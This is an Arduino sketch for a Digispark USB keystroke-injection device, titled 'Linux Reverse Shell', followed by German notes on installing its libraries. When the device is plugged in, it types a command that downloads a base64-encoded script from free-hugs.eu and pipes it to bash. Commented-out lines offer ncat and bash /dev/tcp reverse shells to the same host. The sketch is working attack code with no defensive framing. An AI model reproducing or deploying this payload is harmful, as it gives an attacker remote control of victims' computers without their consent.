Digispark Linux Reverse Shell

#include "DigiKeyboardDe.h"

void setup() 
{
  pinMode(1, OUTPUT); //LED on Model A 
  DigiKeyboardDe.update();
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboardDe.delay(800);
  DigiKeyboard.sendKeyStroke(0);
  //DigiKeyboard.sendKeyStroke(KEY_T, MOD_CONTROL_LEFT | MOD_ALT_LEFT);
  DigiKeyboardDe.sendKeyStroke(KEY_F2, MOD_ALT_LEFT);
  DigiKeyboardDe.delay(250);
  //DigiKeyboardDe.println("ncat free-hugs.eu 6666 -e /bin/bash &");
  DigiKeyboardDe.println('curl -L -s "free-hugs.eu/linsh" | base64 -d | bash');
  //DigiKeyboardDe.println("screen -m -d bash -c -c 'bash -i >& /dev/tcp/free-hugs.eu/6666 0>&1'");
  DigiKeyboardDe.delay(100);
  DigiKeyboardDe.println("exit");

}

void loop() 
{ 
  //LED blinken wenn fertig...
  digitalWrite(1, HIGH);
  DigiKeyboard.delay(200);
  digitalWrite(1, LOW);
  DigiKeyboard.delay(200);
}

Links

Digistump Library (Muss manuell in der Arduino IDE eingebunden werden):

https://raw.githubusercontent.com/digistump/arduino-boards-index/master/package_digistump_index.json

Deutsches Tastaturlayout, hier muss im Projektverzeichniss die Datei DigiKeyboardDe.h angelegt werden

https://raw.githubusercontent.com/fugitivus/digispark/refs/heads/master/DigiKeyboardDe.h